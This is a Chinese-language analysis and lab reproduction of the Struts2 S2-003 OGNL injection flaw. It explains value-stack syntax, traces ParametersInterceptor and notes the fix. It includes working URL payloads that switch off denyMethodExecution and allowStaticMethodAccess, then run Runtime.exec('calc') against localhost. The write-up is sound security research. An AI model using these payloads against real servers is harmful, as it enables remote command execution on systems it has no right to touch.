一、前言
前面一篇文章也有提到 struts2 在进入 action 进行逻辑处理前(以及逻辑处理后),会进入 18 个拦截器栈中对请求进行必要的处理(如果没有自定义拦截器的话,可以在 struts-default.xml 中找到相应的拦截器栈,如下下图【这里只有 17 个拦截器 233 】)。下图为 struts2 在处理请求时走过的流程。
其中 params 拦截器也即是 com.opensymphony.xwork2.interceptor.ParametersInterceptor ,他负责获取到提交的参数值,并将请求传输的参数赋值到对应的栈中。
# 二、漏洞概述
S2-003 漏洞就出现在 com.opensymphony.xwork2.interceptor.ParametersInterceptor 拦截器处理时, doIntercept 方法对提交的参数对值栈中的数据进行赋值,同时进行解析,此时过滤不严导致可以通过 ognl 表达式操作值栈中 map/context 栈 的对象来执行方法,进而导致命令执行。
首先我们可以先看看 ognl 取出 context/map 栈中的对象的属性的语法:
● #object.propertyName
● #object['propertyName']
● #object["propertyName"]
ognl 取出 root 栈中对象的属性的语法为(从栈顶往下找同名的属性值):
● propertyName
● ['propertyName']
● ["propertyName"]
如果在 root 栈中想找具体第几个对象的属性:
● [索引].propertyName
● [索引].["propertyName"]
● [索引].['propertyName']
● 举个栗子:[0].username 找自栈顶起第一个对象的 username 属性。
通过 ognl 表达式来调用对象的属性 / 方法:
● 获取静态属性值:@全类名@静态属性名
● 调用静态方法:@全类名@静态方法(参数列表)
● 调用栈顶对象非静态方法:方法名(参数列表)
官方链接:
https://cwiki.apache.org/confluence/display/WW/S2-00
影响版本:
Struts 2.0.0 - Struts 2.1.8.1
# 三、漏洞复现
环境:
apache-tomcat-9.0.37 、 jdk1.8.0_261 、 struts 2.0.11
tomcat7 及以后的版本会严格按照 RFC 3986 规范进行访问解析,而 RFC 3986 规范定义了 Url 中只允许包含英文字母 a-zA-Z 、数字 0-9 、 -_.~ 4 个特殊字符以及所有保留字符( RFC 3986 中指定了以下字符为保留字符:! * ’ ( ) ; : @ & = + $ , / ? # [ ])
即 tomcat7 后的版本在 payload 中使用 [、]、(、) 需进行 url 编码。
因为漏洞影响版本 Struts 2.0.0 - Struts 2.1.8.1 ,所以其实可以沿用上个漏洞环境。甚至可以更简化,根据官方给的 payload :('\u0023'%20%2b%20'session'user'')(unused)=0wn3d。Action 返回到 index.jsp 回显 session.user 即可。想换个版本的话就把相应的 jar 包都替换掉。
LoginAction.java :( error 返回到 index.jsp )
index.jsp:(取出 session.user )
执行 payload :
官方给的没有执行成功,233 为什么,格式的问题吗?我没有弄明白。然后尝试自己改了一下,成功了。
payload :http://localhost:8080/login.action?%28%27\u0023session%5b%27user%27%5d%27%29%28unused%29=teesst
解码即为:('\u0023session['user']')(unused)=teesst
payload :http://localhost:8080/login.action?%28%27\u0023session%2euser%27%29%28unused%29=teesst
解码即为:('\u0023session.user')(unused)=teesst
测试发现去掉后面的 (unused) 也可。\u0023 为 # 号。他的格式问题我没弄明白,【网上说有两种格式,一种 (表达式)(常量)=value ,另一种 (表达式)(常量)(常量) 】。意思应该是明白的:取出 session 对象,将其的 user 赋值为 teesst 。
复杂一点的 payload :
('\u0023context['xwork.MethodAccessor.denyMethodExecution']\u003dfalse')(bla)(bla)&('\u0023myret\u003d@java.lang.Runtime@getRuntime().exec('calc')')(bla)(bla) 【这里没有 url 编码是因为我悄咪咪换了个低版本的 tomcat 】
payload 解读:首先将 denyMethodExecution 设置为 false ,然后执行计算器的命令。为什么最开始要将 denyMethodExecution 设置为 false ,可以看看分析。
# 四、分析
我们先根据官网给的 payload 来看,带参数 ('\u0023session['user']')(unused)=teesst 请求 login.action ,根据 struts.xml 中的配置,会路由到 LoginAction 的 login 方法。进入方法前先进拦截器,在 ParameterInterceptor 中获取参数,并将属性值存入 ValueStack 值栈中。
那我们从进入 com.opensymphony.xwork2.interceptor.ParametersInterceptor#doIntercept 方法开始看。
在 88 行进行了参数赋值,我们跟进去。
在 123 行中进入了 acceptableName(name) 进行判断。这里是个过滤条件。
这里判断了 name 中是否包含了 =,#: 字符以及 pojo 字符串,正因如此 payload 中对 # 号进行了 Unicode 编码。接着前面的进入到 129 行的 setValue 方法中。
跟进到 OgnlUtil#setValue 方法【这个调用链是不是有点熟悉,和 S2-001 的是不是差不多,只不是 S2-001 是 findValue 】
继续跟进,在 compile 方法中对表达式进行了解码。(其实是跟进 parseExpression 方法更深的地方对 Unicode 编码进行了解码 )
进而将其转化为语法树,最终在 ognl.ASTEval#setValueBody 中对 map 栈中 session 域对象中的 user 赋值。
我们赋值完参数进入 action 逻辑处理,返回 error ,对应页面 index.jsp ,取出 session 中的 user 显示:
接下来我们来看复杂一点的 payload 执行计算器的命令:
('\u0023context['xwork.MethodAccessor.denyMethodExecution']\u003dfalse')(bla)(bla)&('\u0023myret\u003d@java.lang.Runtime@getRuntime().exec('calc')')(bla)(bla)
是不是其实也是一样的,但是由于设置不允许方法执行,故此时通过 context 将参数值 xwork.MethodAccessor.denyMethodExecution 设为 false 才能执行方法。
在高版本中,如 struts2.1.8.1 中增加了 excludeParams 加了以 struts 开头的参数不进行解析,以及匹配的模式 [[\p{Graph}\s]&&[^,#:=]]* (仅除了 ,#:= 之外的可见字符才会进行解析)。
且默认禁止了静态方法的执行:
是不是仍然是治标不治本,我仍然可以通过 ognl 表达式将其参数打开。
看 payload :
/login.action?('\u0023_memberAccess['allowStaticMethodAccess']')(bla)=true&('\u0023context['xwork.MethodAccessor.denyMethodExecution']\u003dfalse')(bla)(bla)&('\u0023myret\u003d@java.lang.Runtime@getRuntime().exec('calc')')(bla)(bla)
这里需要注意的是我们通过 _memberAccess 可以获取到 SecurityMemberAccess 的实例,从而对其中的 allowStaticMethodAccess 进行赋值。
# 五、修复
在 acceptableName 判断时完善了过滤正则。